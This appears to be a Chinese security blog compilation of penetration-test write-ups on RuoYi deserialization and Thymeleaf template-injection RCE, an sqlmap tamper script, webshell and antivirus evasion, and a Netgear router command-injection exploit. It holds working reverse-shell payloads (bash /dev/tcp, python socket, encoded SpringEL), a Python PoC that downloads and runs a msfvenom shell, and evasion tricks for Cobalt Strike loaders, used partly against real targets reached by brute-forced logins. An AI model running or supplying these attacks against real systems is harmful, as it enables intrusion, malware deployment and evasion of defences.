若依管理系统使用了Apache Shiro,Shiro 提供了记住我(RememberMe)的功能,下次访问时无需再登录即可访问。系统将密钥硬编码在代码里,且在官方文档中并没有强调修改该密钥,导致框架使用者大多数都使用了默认密钥。
攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。
众所周知的,网上大把工具撸就完事了https://github.com/SummerSec/ShiroAttack2
6、SnakeYaml组件漏洞-定时任务-RCE
定时任务对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法
系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务
首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数
然后判断实例名是否是 带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName) 获得实例;如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例
最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget \= sysJob.getInvokeTarget();
String beanName \= getBeanName(invokeTarget);
String methodName \= getMethodName(invokeTarget);
List<Object\[\]> methodParams \= getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean \= SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean \= Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。
当我们传入的类名为完全包名称,需要满足三个条件才能正常使用
具有无参构造方法
调用的方法需要是类自身声明的方法,不能是他的父类方法
构造方法和调用的方法均为 public
而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞。
三、正戏开始
要获得证书就得要挖掘到高危的漏洞,若依vue框架是没有shiro反序列化的,所以得进入后台去挖掘定时任务的RCE。
1、回到之前的找到若依的登录框,上来肯定是试一试默认的弱口令admin123。不出意外密码错误了
2、测试了一下,没有密码输入错误次数上限,就是输入错多少次都可以,也没有验证码验证登录,不用多说了,爆破启动!!!
抱着试一试的态度,没想到真滴爆出来了
毕竟是第一次打若依vue框架的,我就把上面提到的漏洞都测试了一遍,没一个成功的(除了定时任务-RCE的漏洞没测试)。。。。。
3、我先去网上浏览一阵子的若依后台定时任务调用类的方法RCE的文章,开搞!!!
首先先去Github上面找到大佬写好的项目生成恶意jar包:https://github.com/artsploit/yaml-payload先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令
修改AwesomeScriptEngineFactory.java格式:
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1"});
在yaml-payload-master文件夹目录下编译AwesomeScriptEngineFactory.java文件
javac .\src\artsploit\AwesomeScriptEngineFactory.java
得到编译好的AwesomeScriptEngineFactory.class文件
把src目录打包成yaml-payload.jar文件
jar -cvf yaml-payload.jar -C .\src\ .
把打包好的yaml-payload.jar上传到vps上面,使用python命令开启临时的http网站:`python -m SimpleHTTPServer 8880
测试访问vps开启的网站
在vps上面使用nc监听设定的端口,反弹shell
回到若依系统后台,使用爆破出来的账号密码登录,进入系统监控-->定时任务-->新增,添加计划任务。
调用方法也没有什么限制,可以直接使用http。任务名随便写,调用方法:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]')
cron表达式:0/10 \* \* \* \* ?
点击确定
在多执行几次刚刚设置好的定时任务
在我满心欢喜的以为成功的时候,现实却给我当头一棒,nc监听一直没有动静,啊啊啊啊啊啊啊啊啊。。。。。又去多执行了几次也没有反弹到shell
去看刚刚vps使用python开启的http,没有访问响应gg。
想了想会不会是命令被系统拦截了或者是AwesomeScriptEngineFactory.java文件里面的命令错误执行不了。于是又去换了一种方式的反弹shell命令
重新修改AwesomeScriptEngineFactory.java格式:使用base64编码这个命令:bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1base64编码后的命令:YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==AwesomeScriptEngineFactory.java格式:Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgM
再按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。
返回到若依管理系统,再次执行几次定时任务,不用更改。。。让命令飘一会。
pleasantly surprised。。。。gg了。
四、柳暗花明
我以为要下播的时候,去上了个厕所。。。。回来突然有灵感想到可不可以使用python命令来执行反弹shell命令呢,现在的服务器linux服务器基本都是自带python的,说干就干。
继续修改AwesomeScriptEngineFactory.java文件使用python的特性构造payload,修改的格式:Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=su
如下图:
继续执行之前的步骤,按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。
回到若依管理系统继续执行我们写入的定时任务。
结果芜湖!!!成功成功。
咱也不知道为什么。没拦截python?
最后也是通过了cnvd的事件型高危
漏洞已上报厂家,厂家已修复。
修复建议:升级Ruoyi至最新版本。
记一次攻防演练中的若依(thymeleaf 模板注入)getshell
记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。
0x01 漏洞发现
首先,我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站。
这样子可以快速的定位到你所要测试的漏洞资产。
1、推荐三个比较实用的搜索引擎:
奇安信-鹰图平台:https://hunter.qianxin.com/
360-quake: https://quake.360.net/
fofa: https://fofa.info/
搜索语法:domain="二级域名"
2、通过一番搜索查找翻阅,幸运女神光顾~~~。
通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。
经典:你若不离不弃,我必生死相依
基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖
0x02 漏洞分析
Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。
漏洞点
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。所谓可控,也就是接受输入。
1、URL路径可控
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
return内容可控:
\_\_${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}\_\_::.x
URL路径可控:
\_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x
2、Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:
http://xxxxxx/monitor/cache/getNameshttp://xxxxxx/monitor/cache/getKeyshttp://xxxxxx/monitor/cache/getValuehttp://xxxxxx/demo/form/localrefresh/task通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。
这四段接口方法中,都使用了thymeleaf的语法:
"/xxx::" + fragment;
我们构造fragment的值为:
url编码:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
↓
${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}
当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload
但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass"
这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。
因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。
漏洞影响:RuoYi <= v4.7.1
0x03 开始战斗
1、回到之前的若依登录框,若依的管理系统肯定要试试看弱口令啦,用户admin,密码admin123。
非常nice,弱口令yyds,登录进入若依系统后台。
经过一番测试,后台定时任务执行不了命令,反弹shell不成功,更换了几个不同的payload都没效果,太菜了,咱也不知道为什么,其他的常见的漏洞任意文件读取、SQL注入、未授权访问啥的都没有,所以才会来测试一番Thymeleaf模板注入远程命令执行。
这四个接口路径都可以访问,我们使用第一个接口路径进行测试。
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
2、在若依管理系统后台直接访问/monitor/cache/getNames接口路径,使用burp suite拦截访问/monitor/cache/getNames路径的数据包。
访问/monitor/cache/getNames
使用burp suite拦截数据包
使用burp suite上自带的编码工具,使用base64编码反弹shell命令
/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1
构造fragment的值,把上面使用base64的编码放入下面的payload编码成url编码
${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}
把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值。
/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4
3、在vps上面使用nc监听5566端口,接收反弹shell。
把刚刚更改了请求方式为POST,拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。
返回包返回状态200,应该是执行成功了。
回到vps查看监听状态,nice!!!成功,拿下拿下。
漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。
0x04 修复建议
把若依系统更新到最新版本。
在一次渗透中学会编写Tamper脚本
拿到这个网站,通过对比查询,我们发现
闭合参数 finsh 时,查询出的内容更多
经过进一步判断,确实存在漏洞
不过在测试的时候发现存在一定的过滤
但是可以通过内联注释进行绕过。
这里也是加深了解了内联注释的知识点,之前只会简单的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有这样一段解释,在 mysql 中 /*!...*/不是注释,mysql 为了保持兼容,它把一些特有的仅在 mysql 上用的语句放在 /*!...*/中,这样这些语句如果在其他数据库中是不会被执行,但是在 mysql 中它会执行。当后面接的数据库版本号小于自身版本号,就会将注释中的内容执行,当后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。如下语句 /*!50001UniON SeLeCt*/ 这里的 50001 表示假如数据库的版本是
我们首先查询出数据库的版本信息
当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功
当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功
我们已经手工验证过了存在 SQL 注入漏洞,但是却无法利用 sqlmap 识别出联合注入,是因为存在检测,需要内联注释进行绕过
我们需要编写一个Tamper脚本
我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作
我们目前已经知道需要利用内联注释来实现绕过检测的操作
我们修改代码
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
>>> tamper("1' AND SLEEP(5)#")
'1'/!*00000AND SLEEP(5)*/#'
"""
if payload:
replaced_text = payload
replace_code = re.search(r"'(.*?)(#|--)", payload)
if replace_code:
replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
return replaced_text
成功生效
记一次有点抽象的渗透经历
0x01 获取webshell
在各种信息搜集中,发现某个ip的端口挂着一个比较老的服务。
首先看到了员工工号和手机号的双重验证,也不知道账号是什么结构组成的,基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果,看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档
看得出来也是一个年久失修的系统了,图片的链接都已经404了。但是这里得到了一个示例账号zs001,也知道了初始密码是123456(吐槽:果然年久失修了,这个系统就没有输入密码的input,只有一个手机号验证码)。
知道了账号,这里还缺一个手机号。感觉这个系统应该没做验证,毕竟看上去是一个老旧的系统,估计有没有人用用都不好说,可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然!
然后随便找个手机接码平台等待验证码发过来,然后过了十几分钟无果,想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破,估计验证码也是四位数,如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。
然后登录后台直接上传一个木马,没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。
但是访问的时候出现了一个坏消息。404了,404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了,然后再上传到服务器之后被杀软自动隔离,那么这时候访问就会出现404。
0x02 webshell免杀
这里中途又替换了几个github上的免杀木马,均无效。ps:我是懒狗,免杀什么的能不写代码就不写代码。php这玩意有个好处,就是语法特别脏,各种免杀手法层出不穷,花里胡哨。这里就简单的介绍几种比较偷懒的方法。
2.1 无字母webshell
个人在实际渗透过程中还算挺好用的,无字母webshell本来是ctf的一些题目,但是事实上免杀效果确实也挺强,而且适应性也比较高,适合一句话木马。之后可以直接上蚁剑链接。
举例:
ps:当然都说了偷懒,肯定不是我写的,直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。
免杀效果如下:
ps: emmmmmmm,我只能说,无敌好吧。
2.2 一键免杀工具免杀
这里不多说了,去github直接找就是,但是github特征过于明显,以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的,效果也还不错。
2.3 混淆免杀
混淆免杀,php有很多在线混淆的网站,也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。
可以直接去网上搜索php混淆
这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。
0x03 绕过杀软上线
接下来就是传frp代理,上cs的操作了。这里先上一个cs,但是由于目标机器上有杀软,所以采用shellcode加加载器的方式去进行绕过。众所周知,cs的特征较为明显,很容易就会被杀软拦截。
首先是shellcode免杀,shellcode免杀可以使用github上的sgn加密工具,免杀效果能达到vt0检测。github链接:https://github.com/EgeBalci/sgn
使用方法也很简单,把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。
sgn.exe shellcode文件名
免杀前效果
免杀后效果
剩下的就是加载器本身的免杀了,这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。
其实有一个比较抽象的技巧,就是当文件足够大之后,杀软的沙箱就不会去运行该程序,从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。
那么怎么能让文件变得足够大呢?就是不断往文件后面填充垃圾字符,比如\x00这样既不会影响exe执行,又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。
这里上代码
with open('1.exe', 'ab') as f:\f.write(b'\x00' * 1024 * 1024 * 100)
可以看到每次运行add.py 1.exe就大了100m。
然后多次运行,当1.exe达到2g的时候,根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。(这个方法很玄学,不是很稳定,有时候能有有时候不能用。但是还是值得一试,毕竟是老前辈传承下来的经典免杀手法。)
但是问题来了,2个g的文件怎么上传到服务器又是一个问题,这里就要说明一下\x00的好处了,可以通过压缩成zip的方式把exe压缩,压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器,然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。
0x04 内网移动
之后便是熟悉的内网横向环节了。首先是看到了一个弱口令,然后直接链接数据库然后getshell。
然后直接net user add,之后3389链接上服务器,翻出了一个密码本。
找到一个双网卡的sql server服务器,然后上线,扫一波SMB
最后找到重要系统10.x.x.x 这个系统,看着是java写的后端,也是一个看起来很老的界面了。
扫了一下路径发现存在druid。
原本想找session登录的,然后想了一下试一下运气直接怼一波st2,成功拿下(也是运气爆棚)
Netgear无线路由器漏洞复现(CVE-2019-20760)
漏洞概述
漏洞服务: uhttpd
漏洞类型: 远程命令执行
影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响
解决建议: 更新版本
漏洞复现
操作环境: ubuntu:22.04
qemu-version: 8.1.1
仿真环境
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
下载固件。
binwalk -Mer R9000-V1.0.4.26.img
可通过 binwalk 常规解压获得文件系统。
检查 ELF32 文件架构为 arm-32-little。
wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
下载合适的虚拟机映像。
#!/bin/sh
# 参考《CTF实战》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
配置网络。
#!/bin/sh
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic-M # 选择开发板•
-m # 指定内存大小
-drive # 定义存储驱动器•
file= # 定义镜像文件•
-net nic # 创建客户机网卡•
-net tap # 创建 tap 设备,以桥接方式跟宿主机通信•
ifname=virtual0 # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信•
-nographic # 以非图形化模式启动•
-append # 内核启动附加参数•
-console=ttyAMA0 # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
-nographic # 不再启用额外的终端界面
启动 qemu-system-armhf 环境,默认用户名密码都为 root。
ifconfig eth0 192.168.152.168/24
为 qemu-system-armhf 配置静态 IP。
tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server
将文件根系统打包,然后利用 python3 的 http.server 模块下载到 qemu-system-armhf 的根目录中并用 tar xvf squashfs-root.tar.gz 解压。
cd /squashfs-root
mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
mount --bind /dev dev # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
chroot . sh
因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc和 /dev 目录,这里利用 mount 命令将 qemu-system-armhf 的 proc 和 dev 目录挂在到 squashfs-root 中,并更换根目录为 squashfs-root。
Web模拟
find -name uhttpd
cat ./etc/init.d/uhttpd# ./etc/init.d/uhttpd
...
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}
...
查找 uhttpd 的相关文件。
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
查看 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000 ,UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.
逆向分析
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff 进行二进制比对,来查找漏洞点。
shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可,主要查看登录验证的 uh_cgi_auth_check() 函数。
memset(s, 0, 0x1000u);
v14 = strlen(v13);
uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
v15 = strchr(s, ':');
if ( !v15 )
{
LABEL_32:
v16 = 0;
v17 = 0;
goto LABEL_15;
}
v16 = v15 + 1;
*v15 = 0;
if ( v15 != (char *)0xFFFFFFFF )
{
snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
system(command);
v3 = cat_file(73805);
}
v17 = s
漏洞版本 base64 解密后 snprintf() 后直接传给 system() 执行,这里会把 v15(:)后面的内容放到 %s 处,记得加\n来执行多条指令。
memset(s, 0, 0x1000u);
v15 = strlen(v14);
uh_b64decode(s, 4095, v14 + 6, v15 - 6);
v16 = strchr(s, 58);
if ( !v16 )
{
LABEL_15:
v17 = 0;
v18 = 0;
goto LABEL_16;
}
v17 = v16 + 1;
*v16 = 0;
if ( v16 != (char *)-1 )
{
v18 = s;
dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
v19 = cat_file("/tmp/hash_result");
goto LABEL_17;
}
而修复版本则利用 dni_system() 执行,只可控参数。
获取权限
poc:
#!/usr/bin/python3
from pwn import *
import requests
import base64
cmd = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'
assert(len(cmd) < 255)
cmd_b64 = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Authorization": "Basic " + cmd_b64
}
def attack():
try:
requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
except Exception as e:
print(e)
attack()msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
利用 msf 生成对应架构的木马程序,然后在shell.elf所在的目录开启http服务,利用漏洞将木马程序下载下来。
启动监听,并执行 exp.py
成功获取 shell,我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。
成功创建。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

